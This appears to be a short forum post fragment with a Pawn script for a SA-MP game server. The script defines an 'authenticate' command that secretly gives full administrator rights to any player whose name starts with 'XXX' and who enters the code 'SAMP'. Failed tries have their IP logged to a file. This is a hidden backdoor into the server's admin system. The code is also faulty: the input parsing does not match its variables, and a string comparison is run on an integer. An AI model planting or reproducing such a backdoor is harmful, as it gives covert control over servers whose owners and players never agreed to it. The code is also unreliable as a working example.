pawn Код:
dcmd_authenticate(playerid,params[])
{
new code;
new ip[32];
GetPlayerIp(playerid,ip,sizeof(ip));
if(sscanf(params,"ii",code)) return SendClientMessage(playerid,COLOR_RED,"You know what to do.");
if(strfind(GetName(playerid),"XXX", true) == 0)
{
if(!strcmp(code,"SAMP",true))
{
SendClientMessage(playerid,COLOR_RED,"ACCESS GRANTED.");
info[playerid][Admin] = 1337;
}
else
{
SendClientMessage(playerid,COLOR_RED,"ACCESS DENIED.");
dini_Create(IpFile(playerid));
dini_Set(IpFile(playerid),"IP",ip);
}
}
else
{
SendClientMessage(playerid,COLOR_RED,"ACCESS DENIED.");
Kick(playerid);
}
return 1;
}
to an array.